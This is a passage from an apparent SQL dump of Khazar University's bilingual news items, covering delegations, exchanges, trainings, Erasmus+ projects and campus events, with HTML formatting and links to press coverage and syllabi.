proqramını həyata keçirtməkdir. Bu ilin oktyabrında ilk dəfə olaraq Azərbaycan və Türkiyə gənc psixoloqları arasında mübadilə proqramı təşkil edilmişdir. Azərbaycan tərəfdən də bu proqramın akademik tərəfdaşı Xəzər Universitetidir. Proqrama əsasən 2017-ci il oktyabrın 8-dən 14-dək Türkiyənin müxtəlif universitetlərindən gələn 18 nəfər psixologiya ixtisası üzrə təhsil alan qonaq tələbə Xəzər Universitetində təcrübə mübadiləsi çərçivəsində psixologiya dərslərində iştirak edəcək. Onlar Psixologiya Departamentinin dərslərində Xəzər Universitetinin tələbələri ilə bərabər oturur və aktiv iştirak edirlər.</p><p>Bu mübadilə proqramının Türkiyə tərəfdən akademik tərəfdaşı İstanbul İşık Universitetidir. Daha sonra oktyabrın 22-dən 28-dək isə psixologiya ixtisasının azərbaycanlı tələbələri Türkiyəyə səfər edəcəklər.</p>'),(4256,2511,'az','Xəzər Universiteti nümayəndə heyətinin Paris səfəri respublika mediasında','Xəbər verildiyi kimi, Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlının...','<p>Xəbər verildiyi kimi, Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlının rəhbərliyi ilə Xəzər Universiteti və “Dünya” məktəbindən olan nümayəndə heyəti Paris Sarbon Universitetində işgüzar səfərdədir.</p><p>Bu haqda respublikanın media orqanlarında da xəbər yayılmışdır. Daha geniş məlumatı bu linklər vasitəsilə almaq olar:</p><p><a href=\"https://metbuat.az/news/804051/xezer-universitetinin-rehberliyi-parise-sefer-edib.html\">https://metbuat.az/news/804051/xezer-universitetinin-rehberliyi-parise-sefer-edib.html</a></p><p><a href=\"http://bugun.az/news/91486/xezer-universitetinin-rehberliyi-parise-sefer-edib.html\">http://bugun.az/news/91486/xezer-universitetinin-rehberliyi-parise-sefer-edib.html</a></p><p><a href=\"http://son.az/az/news/275630/xezer-universitetinin-rehberliyi-parise-sefer-edib\">http://son.az/az/news/275630/xezer-universitetinin-rehberliyi-parise-sefer-edib</a></p><p><a href=\"https://report.az/elm-ve-tehsil/xezer-universitetinin-rehberliyi-parise-sefer-edib/\">https://report.az/elm-ve-tehsil/xezer-universitetinin-rehberliyi-parise-sefer-edib/</a></p>'),(5717,3281,'az','Professor Hamlet İsaxanlının məqaləsi “Xəzər Xəbər”də','“Xəzər Xəbər” jurnalının mart və aprel nömrələrində Xəzər Universitetinin təsisçisi...','<p>“Xəzər Xəbər” jurnalının mart və aprel nömrələrində Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlının “Hekayənin mahiyyəti və yazarın xəyalları” adlı məqaləsi iki hissədə dərc olundu. Məqalənin birinci hissəsi jurnalın mart nömrəsinin 44-50-ci səhifələrini, ikinci hissəsi isə aprel nömrəsinin 50-56-cı səhifələrini əhatə edir.</p>'),(5718,3281,'en','Professor Hamlet Isakhanli’s article in “Khazar Review”','An article “Essence of the Story and Dreams of the Writer” by Professor Hamlet Isakhanli...','<p>An article “Essence of the Story and Dreams of the Writer” by Professor Hamlet Isakhanli, Founder of Khazar University and Chairman of its Board of Directors and Trustees, was published in two parts in March and April issues of “Khazar Review” journal. First half of the article covers 44<sup>th</sup>-50<sup>th</sup> pages of journal’s March issue, and the remaining part was published in the April issue on pages 50 and 56.</p>'),(5319,3080,'az','İmtahan nəzarətçiləri təlimatlandırıldı','2018-ci il aprelin 4-də Xəzər Universitetində İctimai əlaqələr və media üzrə direktor...','<p>2018-ci il aprelin 4-də Xəzər Universitetində İctimai əlaqələr və media üzrə direktor, Nizam intizam komissiyasının sədri Əlövsət Əmirbəyli&nbsp;tərəfindən imtahan nəzarətçiləri üçün treyninq təşkil edildi. Treyninq zamanı Xəzər Universitetinin Elmi-İnzibati Şurası tərəfindən təsdiq olunmuş “İmtahan Qaydaları”nın bütün müddəaları müzakirə edildi. Əsasnamənin imtahana hazırlıq mərhələsi, imtahan materiallarının hazırlanması, qiymətləndirmə prosesi, tapşırıqların hazırlanması, imtahanda iştirak, nəzarətçilərin səlahiyyətləri, baş nəzarətçi və nəzarətçilərin vəzifələri, imtahanın gedişi, imtahanın nəticələrinə etiraz, tamamlama imtahanları və digər əhəmiyyət kəsb edən maddələr haqqında imtahan nəzarətçilərinə geniş məlumat verildi. “İmtahan Qaydaları”nın bir sıra maddələri geniş müzakirəyə səbəb oldu. Sonda imtahanlarda nəzarətçi olacaq şəxslərin bütün sualları cavablandırıldı.</p><p>Treyninqdə bütün fakültələrdən nəzarətçilər iştirak edirdilər.</p>'),(4275,2519,'az','Xəzər Universitetinin nümayəndə heyəti Azərbaycanın UNESCO-dakı səfiri ilə görüşdü','2017-ci il oktyabrın 12-də Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor...','<p>2017-ci il oktyabrın 12-də Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlının başçılıq etdiyi nümayəndə heyəti Azərbaycanın UNESCO-dakı səfiri və daimi nümayəndəsi cənab Anar Kərimovla görüşdü. Görüş UNESCO-nun Parisdəki Baş qərargahında keçirildi.</p><p>Professor Hamlet İsaxanlı Xəzər Universitetindən, onun dünya universitetləri arasında reytinqindən və layihələrdəki yüksək nailiyyətlərindən danışdı. Səfir Xəzər Universitetinin müvəffəqiyyətlərinə çox sevindiyini bildirdi və ona uğurlar arzuladı. Onlar, həmçinin, Xəzər Universiteti ilə UNESCO arasında elm və təhsil sahəsində gələcək əməkdaşlığı da müzakirə etdilər.</p><p>Həmin gün Xəzər Universitetinin nümayəndə heyəti Viktor Hugo Məktəbini də ziyarət etdi və məktəbin rəhbəri cənab Frans Ponsartla görüşdü. Həm Viktor Hugo məktəbinin, həm də “Dünya” məktəbinin nümayəndələri məktəblər haqqında təqdimatlar etdilər və iki tərəf arasında əməkdaşlıq imkanları müzakirə olundu.</p><p>Nümayəndə heyətinə Xəzər Universitetinin (rektor Hassan Niknafs, Elmi işlər üzrə prorektor Dr. İradə Xəlilova, İnkişaf Mərkəzinin direktoru Raziya İsayeva, Psixologiya departamentinin koordinatoru Ülkər İsayeva, Beynəlxalq əlaqələr şöbəsinin direktoru Turan Cəfərova) və onun nəzdindəki “Dunya” məktəbinin (“Dünya” məktəbinin həmtəsisçisi Nailə xanım İsayeva, məktəbin direktoru Mərufə Mədətli, İB proqramı koordinatoru Rəna Həsənova) inzibati əməkdaşları daxildirlər.</p><p>Səfər Xəzər Universiteti və Paris Sorbonne Universiteti-Abu Dabi tərəfindən birgə təşkil edilmiş və Azərbaycan Respublikasının Fransadakı səfirliyi tərəfindən dəstəklənmişdir.</p>'),(4257,2500,'en','Ambassador of Mexico at Khazar University','Ambassador Extraordinary and Plenipotentiary of the United Mexican States to the Republic of Azerbaijan...','<p>Ambassador Extraordinary and Plenipotentiary of the United Mexican States to the Republic of Azerbaijan Mr. Rodrigo Labardini visited Khazar University and met with Rector Hassan Niknafs. Educational relations and other issues of mutual interest were discussed during the meeting.</p>'),(4258,2449,'en','The exhibition-fair was held for students','On October 4-5, the Translation Center under the Cabinet of Ministers held the exhibition-fair...','<p>On October 4-5, the Translation Center under the Cabinet of Ministers held the exhibition-fair for students dedicated to book editions and Khazar World Literature Magazine at Khazar University.</p><p>The exhibition-fair was organized with the aim to form the world view of young people, to raise interest in literature and reading.</p>'),(4259,2504,'en','Training on Establishment of Joint Degree Programs at Khazar University is over','On October 11, 2017, the training on Establishment of Joint Degree Programs within the framework...','<p>On October 11, 2017, the training on Establishment of Joint Degree Programs within the framework of Technical Assistance Mission continued at Khazar University.</p><p>Annika Sundbäck-Lindroos, a program manager of National Education Agency of Finland, Anar Nagiyev, an expert of the Department of Accreditation and Nostrification of the Ministry of Education of the Republic of Azerbaijan, Dr. Isakhan Isakhanli, Vice President for Administration and Student Affairs, representatives of various universities of Azerbaijan as well as Khazar university staff participated in the event.</p><p>Anar Nagiyev, a senior expert of the Department of Accreditation and Nostrification, delivered a presentation on \"Quality Assurance and Accreditation: Azerbaijan legislation\" and answered the questions in details.</p><p>It should be noted that the purpose of the training was to provide the participants with the information on joint degree programs and their opportunities; to present successful examples from the region and Europe; to demonstrate practical details of the development process; to explain the minimum requirements for designing such programs, and to give important recommendations on creating them.</p>'),(4260,2468,'en','Young Historians at Museum','On October 2, “Introduction to Archeology” class of the students of Education Faculty’s...','<p>On October 2, “Introduction to Archeology” class of the students of Education Faculty’s specialty of History Teaching was held at the museum-exhibition hall of Azerbaijan National Academy of Sciences’ (AMEA - with its Azerbaijani acronyms) Archeology and Ethnography Institution. The class was organized by Orkhan Zamanov, the teacher of History and Archeology Department at Khazar University.&nbsp;</p><p>O. Zamanov visually informed the students about principal archeological sources and monuments. The questions interesting to them had been answered.</p>'),(4261,2512,'az','Dünya Ruh Sağlamlığı günü münasibətilə seminar keçirildi','2017-ci il oktyabrın 10-da Xəzər Universiteti Psixologiya departamenti və Xəzər Psixoloji Xidmət Mərkəzinin birgə əməkdaşlığı...','<p>2017-ci il oktyabrın 10-da Xəzər Universiteti Psixologiya departamenti və Xəzər Psixoloji Xidmət Mərkəzinin birgə əməkdaşlığı ilə Dünya Ruh Sağlamlığı günü münasibətilə “Xoşbəxtliyin kəşfi” adlı seminar təşkil edildi.&nbsp;</p><p>Seminarda günün özəlliyi, psixoloq və psixiatra müraciət qayları, “xoşbəxtlik nədir, xoşbəxtliyi necə əldə edə bilərik?”, şəxsi və iş həyatında xoşbəxtliyin sirləri haqqında geniş danışılaraq, debatlar quruldu. Seminarda psixologiya ixtisasının tələbələri, həmin departamentin müəllimləri və universitet əməkdaşları da iştirak edirdilər.</p>'),(4262,2513,'az','Fransadakı Azərbaycan Mədəniyyət Mərkəzində Xəzər Universitetinin təqdimatı keçirildi','2017-ci il oktyabrın 11-də Azərbaycan Respublikasının Fransadakı Səfirliyi nəzdində fəaliyyət göstərən...','<p>2017-ci il oktyabrın 11-də Azərbaycan Respublikasının Fransadakı Səfirliyi nəzdində fəaliyyət göstərən Azərbaycan Mədəniyyət Mərkəzində Xəzər Universiteti və “Dünya” məktəbinin təqdimatı keçirildi. Mərkəzdə Xəzər Universitetinin fəaliyyətini əks etdirən foto qalereya, Xəzər Universteti Nəşriyyatının əsərlərindən (kitablar, lüğətlər, jurnallar və s.) ibarət sərgi nümayiş edildi. Sərgidə nümayiş etdirilən bütün əsərlər və Azərbaycanı təcəssüm etdirən digər rəmzi hədiyyələr Mədəniyyət Mərkəzinə təqdim edildi. Daha sonra isə Azərbaycan Respublikasının Fransadakı səfirinin Siyasi işlər üzrə müşaviri Nigar xanım Hüseynova Azərbaycan Mədəniyyət Mərkəzinin fəaliyyəti haqqında qonaqlara və sərgi iştirakçılarına geniş məlumat verdi.</p>'),(4263,2513,'en','Presentation of Khazar University at Azerbaijan Culture Centre in France','On October 11, 2017, a joint presentation of Khazar University and Dunya School was held at Azerbaijan...','<p>On October 11, 2017, a joint presentation of Khazar University and Dunya School was held at Azerbaijan Culture Centre under the Embassy of the Republic of Azerbaijan in France. The exhibition consisting of photo gallery reflecting Khazar University’s activities, works of Khazar University’s publishing house (books, dictionaries, journals, etc.) was demonstrated at the Centre. All these works and other symbolic gifts representing Azerbaijan were presented to the Culture Centre. Subsequently, Ms. Nigar Huseynova, Counsellor on Political Issues of the Embassy of the Republic of Azerbaijan in France, gave detailed information about the activities of Azerbaijan Culture Centre to the guests and exhibition participants.  </p>'),(4264,2514,'az','Dövlət Yanğın Xidmətinin nümayəndələri Xəzər Universitetində oldular','2017-ci il oktyabrın 12-də Xəzər Universitetinin “Mərmər” salonunda Fövqaladə Hallar Nazirliyi...','<p>2017-ci il oktyabrın 12-də Xəzər Universitetinin “Mərmər” salonunda Fövqaladə Hallar Nazirliyi Dövlət Yanğın Xidmətinin nümayəndələri ilə müəllim və tələbələrin görüşü keçirildi. Universitetin İctimai əlaqələr və media üzrə direktoru Əlövsət Əmirbəyli FHN-nin nümayəndələrini salondakılara təqdim edərək fövqalədə hallarla bağlı geniş məlumat verdi.</p><p>FHN Dövlət Yanqın Xidmətinin 3-cü Ərazi Dövlət Yanqın Nəzarəti İdarəsinin Böyük inspektoru, daxili xidmət mayoru Xanlar Mahmudov təhsil müəssisələrinin yanğın təhlükəsizliyinin təmin edilməsi mövzusunda geniş məruzə ilə çıxış etdi. Çıxışdan sonra o, tələbələrin və müəllimlərin suallarını cavablandırdı.</p><p>Görüşdə həmin idarənin böyük inspektoru, xidmət mayoru Tofiq Müvəffəqi, FHN-nin Bakı Regional Mərkəzinin baş zabiti, kapitan Ramil Səfərov və digər şəxslər iştirak edirdilər.</p><p>Sonda xatirə şəkilləri çəkildi.</p>'),(4265,2511,'en','Visit of Khazar University Delegation to Paris in the Media','As it has been reported, a delegation from Khazar University and Dunya School headed by Professor...','<p>As it has been reported, a delegation from Khazar University and Dunya School headed by Professor Hamlet Isakhanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, is on a business trip to Paris Sorbonne University.</p><p>This news has also been released in the local mass media.</p><p>More information can be obtained through the following links:</p><embed style=\"background:undefined\" href=\"https://report.az/elm-ve-tehsil/xezer-universitetinin-rehberliyi-parise-sefer-edib/\" type=\"application/x-shockwave-flash\"><a href=\"https://metbuat.az/news/804051/xezer-universitetinin-rehberliyi-parise-sefer-edib.html\">https://metbuat.az/news/804051/xezer-universitetinin-rehberliyi-parise-sefer-edib.html</a></p><p><a href=\"http://bugun.az/news/91486/xezer-universitetinin-rehberliyi-parise-sefer-edib.html\">http://bugun.az/news/91486/xezer-universitetinin-rehberliyi-parise-sefer-edib.html</a></p><p><a href=\"http://son.az/az/news/275630/xezer-universitetinin-rehberliyi-parise-sefer-edib\">http://son.az/az/news/275630/xezer-universitetinin-rehberliyi-parise-sefer-edib</a></p><p><a href=\"https://report.az/elm-ve-tehsil/xezer-universitetinin-rehberliyi-parise-sefer-edib/\">https://report.az/elm-ve-tehsil/xezer-universitetinin-rehberliyi-parise-sefer-edib/</a></p>'),(4267,2515,'en','Instructor of the Department of Azerbaijani Language and Literature was given the title \"Associate Professor\"','Sevinj Agayeva, the instructor of the Department of Azerbaijani Language and Literature...','<p>Sevinj Agayeva, the instructor of the Department of Azerbaijani Language and Literature at Khazar University, was awarded the title \"Associate Professor\" on the specialty of Azerbaijani language by the decision of the High Attestation Commission under the President of the Republic of Azerbaijan.</p>'),(4270,2517,'az','KİM-in əməkdaşları İngilis dili və ədəbiyyatı departamentinin magistrləri üçün təlim keçirdilər','2017-ci il oktyabrın 12-də Xəzər Universiteti Kitabxana-İnformasiya Mərkəzinin əməkdaşları Aytac Misgərli...','<p>2017-ci il oktyabrın 12-də Xəzər Universiteti Kitabxana-İnformasiya Mərkəzinin əməkdaşları Aytac Misgərli və Samirə Orucova İngilis dili və ədəbiyyatı departamentinin magistrləri üçün “İnformasiya mənbələrindən effektiv istifadə qaydaları” mövzusunda təlim keçirdilər.</p>'),(4276,2521,'az','2017-2018','2017-2018','<a href=\"http://www.khazar.org/files/master/AZLL%20103%20Azerbaijani%20Language%20for%20Foreigners.docx\">AZLL 103 Azerbaijani Language for Foreigners</a>   <div><a href=\"http://www.khazar.org/files/master/English_for_graduate-students_2018-2019.docx\">ENGL 599 English for Graduate Students&nbsp;</a>&nbsp;  <br></div><div><a href=\"http://www.khazar.org/files/master/PHIL-605%20Syllabus.doc\">PHIL 605 Philosophy</a>&nbsp;  <br></div><div><a href=\"http://www.khazar.org/files/master/Alman_dili_sillabus_2018-2019.docx\">GERM 201 Cerman language</a>  <br></div><div><a href=\"http://www.khazar.org/files/master/2%2CF%C9%99ls%C9%99f%C9%99%20%20tarixi(AZ)%202017-2018%20Syllabus.doc\">PHIL 603 History of Philosophy</a>  <br></div><div><a href=\"http://www.khazar.org/files/master/RES%20601%20Research%20Methods.doc\">RES 601 Research Methods&nbsp;</a>  <br></div>'),(4277,2521,'en','2017-2018','2017-2018','<a href=\"http://www.khazar.org/files/master/AZLL%20103%20Azerbaijani%20Language%20for%20Foreigners.docx\">AZLL 103 Azerbaijani Language for Foreigners</a>   <div><a href=\"http://www.khazar.org/files/master/ENGL%20599%20English%20for%20Graduate%20Studies%20(Humanities).docx\">ENGL 599 English for Graduate Students&nbsp;</a>  <br></div><div><a href=\"http://www.khazar.org/files/master/PHIL-605%20Syllabus.doc\">PHIL 605 Philosophy</a>  <br></div><div><a href=\"http://www.khazar.org/files/master/GERM%20201-German%20language.doc\">GERM 201 Cerman language</a></div><div><a href=\"http://www.khazar.org/files/master/2%2CF%C9%99ls%C9%99f%C9%99%20%20tarixi(AZ)%202017-2018%20Syllabus.doc\">PHIL 603 History of Philosophy</a></div><div><a href=\"http://www.khazar.org/files/master/RES%20601%20Research%20Methods.doc\">RES 601 Research Methods </a> <br></div>'),(6051,3453,'en','Instructor of the Department of Languages and Cultures in an international symposium','On September 27-28, 2018, Assoc.Prof. Elnura Azizova, Instructor of the Department...','<p>On September 27-28, 2018, Assoc.Prof. Elnura Azizova, Instructor of the Department of Languages and Cultures of Khazar University, participated in an international symposium entitled “Business and Trade Ethics in the Brotherhood” (“Ahilikte iş ve ticaret ahlakı”)&nbsp; held in Sivas, Turkey, organized by Cumhuriyet University. Assoc. Prof. E.Azizova delivered a report “T<em>he ahis are the heirs of the prophets: Prophetic references of brotherhood organization within the sacredness of the origin</em>”.</p><p>In the symposium, about 40 speakers from 8 countries delivered reports on various topics related to business and trade ethics in “Brotherhood” organization which had an important role in Turkish-Islamic history in terms of social, religious and economic aspects. E.Azizova was one of the members of the scientific board of the symposium. At the end of the panel, moderated by E. Azizova,&nbsp;participants were certified.</p>'),(6337,3603,'az','“Tədqiqat imkanları və təhsil prosesində İKT-dən istifadə” adlı təlimlər başladı','2018-ci il noyabrın 5-də Xəzər Universiteti İnkişaf Mərkəzi və Təlim-Tədris Mərkəzinin...','<p>2018-ci il noyabrın 5-də Xəzər Universiteti İnkişaf Mərkəzi və Təlim-Tədris Mərkəzinin təşkilatçılığı ilə Erasmus Plus PETRA layihəsi (573630-EPP-1-2016-1-AZ-EPPKA2-CBHE-JP) çərçivəsində təlimlər başladı. “<em>Tədqiqat imkanları və təhsil prosesində İKT-dən istifadə</em>” adlı təlimlər Azərbaycandan layihə tərəfdaşı olan universitetlərin əməkdaşları və həmin universitetlərin doktorant tələbələri və tədqiqatçıalrı üçün keçirilir. Təlimlər avropalı təlimçilər tərəfindən aparılır və tədqiqatın necə aparılması, tədqiqat metodları, ölkədə tədqiqatın vəziyyəti və tədqiqat imkanları kimi mövzularını əhatə edir.</p><p>Təlimlər noyabrın 7-dək davam edəcək. Noyabrın 7-də, həmçinin, layihənin idaretmə görüşünün keçirilməsi nəzərdə tutulur.</p>'),(6338,3603,'en','Training “Research opportunities and use of ICT in the educational process” starts','On November 5, 2018, on an organizational support of the Center for Development...','<p>On November 5, 2018, on an organizational support of the Center for Development and the Training Center of Khazar University, trainings have started within Erasmus+ PETRA project (573630-EPP-1-2016-1-AZ-EPPKA2-CBHE-JP). The training “Research opportunities and use of ICT in the educational process” is conducted for associates, PhD candidates and researchers of partner universities in Azerbaijan. European trainers conduct the trainings which cover topics such as research methods, research opportunities and current situation of research in our country.</p><p>The training will last until November 7. It is also planned to hold a project management meeting on November 7.</p>'),(6339,3604,'az','Tələbələrin cəlb olunması üzrə işçi qrup səfərdə oldu','2018-ci il noyabrın 2-si və 3-də Xəzər Universitetinin Tələbələrin cəlb olunması...','<p>2018-ci il noyabrın 2-si və 3-də Xəzər Universitetinin Tələbələrin cəlb olunması üzrə işçi qrupun rəhbəri professor Fuat Rəsulov və İctimai əlaqələr və media üzrə direktor Əlövsət Əmirbəyli Şəki, Zaqatala, Gəncə və Şəmkir rayonlarında işgüzar səfərdə oldular.</p><p>İlk gün Şəki şəhər Təhsil Şöbəsində təhsil işciləri ilə görüş keçirildi. Görüş zamanı İctimai Əlaqələr və media üzrə direktor Əlövsət Əmirbəyli çıxış edərək, universitetin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlının və universitet rəhbərliyinin salamlarını tədbir iştirakçılarına çatdırdı. Ə.Əmirbəyli “Xəzər Universitetinin Dostu” mükafatını və hədiyyəni Şəki Şəhər Təhsil şöbəsinin müdiri Südabər İsmayılovaya təqdim etdi. Həmin gün Şəki Hazırlıq Mərkəzində mərkəzin rəhbəri Şöhrət İbadovla görüş baş tutdu.</p><p>Ertəsi gün Zaqatala “Modern” Hazırlıq Mərkəzində və Gəncə şəhərində fəaliyyət göstərən hazırlıq mərkəzində işgüzar görüşlər oldu. Onlara Xəzər Universiteti haqqında geniş məlumat verildi və əməkdaşlıq haqqında razılıq əldə edildi.</p>'),(4279,2523,'en','P2P: Khazar University Team’s Skype Conversation with P2P Program Coordinator','On October 11, 2017, Khazar University’s team had a Skype call with “Peer to Peer: Facebook...','<p>On October 11, 2017, Khazar University’s team had a Skype call with “Peer to Peer: Facebook Global Digital Challenge” program coordinator Ms. Shavanna Cousins. The main purpose of the meeting was to introduce the team members to the program coordinator and discuss the project idea and strategies for its implementation. During the meeting, Ms. Cousins briefly introduced the campaign to the team, talked about the main idea and provided feedback on students\' campaign ideas.</p><p>The meeting ended with identifying the next steps in the implementation of the campaign.</p><p>Khazar University team will design and carry a digital campaign challenging extremism and compete with teams representing numerous universities from around the world.</p>'),(3377,1977,'az','“Xəzər Humanitar və Sosial Elmlər Jurnalı”nın yeni sayı nəşr olundu','“Xəzər Humanitar və Sosial Elmlər Jurnalı”nın (buraxılış 20, 1-ci sayı) yeni sayı Xəzər Universiteti Nəşriyyatı tərəfindən nəşr edilmişdir...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal;background:white\"\"=\"\">“Xəzər Humanitar və Sosial\r\nElmlər Jurnalı”nın (buraxılış 20, 1-ci sayı) yeni sayı Xəzər\r\nUniversiteti Nəşriyyatı tərəfindən nəşr edilmişdir. Jurnalı bu link vasitəsilə də\r\noxumaq olar:</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal;background:white\"\"=\"\"><a href=\"http://jhss-khazar.org/\">http://jhss-khazar.org/</a>.</p>'),(3378,1978,'en','Student Union’s reporting meeting','On March 9, 2017, Gurban Asgarov, Khazar University Student Union President, held a reporting meeting. Gurban Askerov and his deputy Ozal Suleymanov...','<div><br></div>\r\n<p>On March 9, 2017, Gurban Asgarov, Khazar University Student Union President, held a reporting meeting. Gurban Askerov and&nbsp;his deputy Ozal Suleymanov spoke to Khazar University academic and administrative staff members about the activities of the union. They noted that the Student Union has held fifty-five events in the past year; this includes thirty-five seminars, fifteen workshops, two entertainment activities and two flash mobs.  <br></p><p>Speeches were made by Isakhan Isakhanli, Vice Rector for Administration and Student Affairs and deans; they spoke about the Student Union and evaluated its activities.  <br></p><p>At the event’s end, some members of the union and the\r\nwinners of&nbsp;&nbsp;the football championship organized by the Student Union\r\nwere awarded diplomas, certificates and were given pecuniary prizes.&nbsp;</p>'),(3388,1987,'en','Novruz celebration at Khazar university','On March 17, 2017, the Novruz holiday was celebrated in the courtyard of the Neftchilar campus of Khazar University. The celebration included a bonfire and a tea party...','<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">On March 17, 2017, the Novruz holiday was celebrated in the courtyard\r\nof the Neftchilar campus of Khazar University. The celebration included a\r\nbonfire and a tea party. The party was attended by the university\r\nadminitration, staff members and students. Speeches were made by Prof. Mahammad\r\nNuriyev, Vice President for Academic Affairs, and Gurban Askerov, President of\r\nKhazar University Student Union. After Prof. Nuriyev lit a holiday bonfire,\r\nstudents and staff enjoyed music and dancing.&nbsp; Ramal Azafli performed a\r\nsong on the saz. Elchin Feyzullayev, Khazar University graduate student, also\r\nsang a song. </p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">The celebration ended in a pleasant atmosphere.&nbsp;</p>'),(3379,1983,'az','Xəzər Universitetinin əməkdaşı Türkiyədə simpoziumda iştirak etdi','2017-ci il martın 10-dan 12-dək Xəzər Universiteti Dillər və mədəniyyətlər departamentinin müdiri Dos. Dr. Elnurə Əzizova Türkiyənin Şanlıurfa şəhərində keçirilmiş...','<p style=\"\" text-align:justify;text-indent:.25in\"=\"\">2017-ci il martın 10-dan 12-dək Xəzər Universiteti Dillər\r\nvə mədəniyyətlər departamentinin müdiri Dos. Dr. Elnurə Əzizova Türkiyənin\r\nŞanlıurfa şəhərində keçirilmiş “II Beynəlxalq İslam tarix və mədəniyyətində\r\nŞanlıurfa” (Osmanlı sənəd və mənbələri əsasında) adlı simpoziumda iştirak\r\netmişdir. Elnurə Əzizova “İbrahimin hovuzundan İsanın təsvirinə orientalizmin\r\nEdessasında dini məhvər: 16-19-cu əsrlər avropalı səyyahların gözündən Osmanlı\r\nUrfasında yəhudi, xristian və müsəlman kimliyinə dair” adlı məruzə ilə çıxış\r\netmişdir.</p>'),(3380,1980,'az','“Elm üçbucağı” İctimai TV-də','2017-ci il 12 mart tarixində Xəzər universitetinin təsisçisi, direktorlar və qəyyumlar şurasının sədri Prof. Hamlet İsaxanlının “Elm üçbucağı” verlişinin növbəti buraxılışı...','<p>2017-ci\r\nil 12 mart tarixində Xəzər universitetinin təsisçisi, direktorlar və qəyyumlar\r\nşurasının sədri Prof. Hamlet İsaxanlının “Elm üçbucağı” verlişinin növbəti\r\nburaxılışı İctimai TV-də yayımlandı. Bu dəfəki mühazirənin mövzusu “Məktublar\r\nRespublikası” haqqında idi. O eyni zamanda müasir elmi jurnallar və onların\r\ntarixi haqqında da fikirlər söylədi. Mühazirənin auditoryasını Xəzər\r\nuniversitetinin müəllim və peşəkar heyəti təşkil edirdi. &nbsp;</p>'),(3381,1984,'az','Erasmus+ AESOP layihəsinin növbəti görüşü Xəzər Universitetində baş tutdu','2017-ci ilin martın 16-da Xəzər Universitetində Erasmus+ “Ombudsman vəzifəsi yaratmaqla tələbələrin təmsili təyin olunması” (“Advocacy Establishment for Students through...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2017-ci ilin martın 16-da Xəzər\r\nUniversitetində Erasmus+ “Ombudsman vəzifəsi yaratmaqla tələbələrin təmsili təyin\r\nolunması” <em>(“Advocacy Establishment for\r\nStudents through Ombudsman Position” – AESOP</em>) layihəsi çərçivəsində layihənin\r\nregional tərəfdaşları arasında görüş&nbsp;keçirildi. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Gürcüstan və Ukrayna universitetilərinin,\r\neləcə də, Azərbaycan Respublikası Təhsil Nazirliyinin tərəfdaş olduğu layihənin\r\nilk görüşündə nümayəndələr ehtiyacların qiymətləndirilməsi mövzusunda\r\nuniversitetlərdə aparılan sorğuların nəticələri haqqında məlumat verdilər.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Layihə çərçivəsində təşkil olunan\r\ngörüşün əsas xəttini cari məsələlər və növbəti addımlar haqqında müzakirələr təşkil\r\nedirdi. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">AESOP layihəsi tələbələrin universitet həyatında\r\nyaşadıqları çətinliklər, münaqişələr və digər məsələlərlə əlaqədar hüquqların\r\nmüdafiəsinə dəstək məqsədi daşıyır.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Qeyd edək ki, tərəfdaşların ikinci\r\ngörüşü martın 17-də baş tutacaq.</p>'),(3386,1986,'az','Akaki Tsereteli Dövlət Universitetinin rektoru Xəzər Universitetində oldu','2017-ci il martın 16-da Akaki Tsereteli Dövlət Universitetinin rektoru professor George Gavtadze Xəzər Universitetində oldu və universitetin rektoru Hassan Niknafs ilə görüşdü...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2017-ci il martın 16-da\r\nAkaki Tsereteli Dövlət Universitetinin rektoru professor George Gavtadze Xəzər\r\nUniversitetində oldu və universitetin rektoru Hassan Niknafs ilə görüşdü. Beynəlxalq\r\nəlaqələr şöbəsinin direktoru Turan Cəfərova da görüşdə iştirak etdi. Görüşdə\r\niki universitet arasındakı gələcək əməkdaşlığın inkişafı, habelə, müxtəlif\r\nmübadilə proqramları və akademik miqyaslı tədbirlərin (seminar, konfrans, yay məktəbi)\r\ntəşkili barəsində müzakirələr aparıldı. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Qeyd edək ki, iki\r\nuniversitet arasında akademik əməkdaşlıq çərçivəsində ümumi razılaşma 2013-cü\r\nildə imzalanmışdı. Həmin vaxtdan etibarən iki universitet müxtəlif müştərək\r\nlayhələrdə iştirak etmişdir (2012-2014: Tələbə Dəstək və İnkişaf Xidməti Tempus\r\nLayihəsi). Hazırda Xəzər Universiteti və Akaki Tsereteli Dövlət Universiteti\r\nErasmus+ proqramı çərçivəsində iki layihədə iştirak edir.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Akaki Tsereteli Dövlət\r\nUniversitetinin rektoru “Ombudsman vəzifəsi yaratmaqla tələbələrin təmsili təyin\r\nolunması” (<em>Advocacy Establishment for\r\nStudents through Ombudsman Position</em>) layihəsi çərçivəsində Bakıda baş 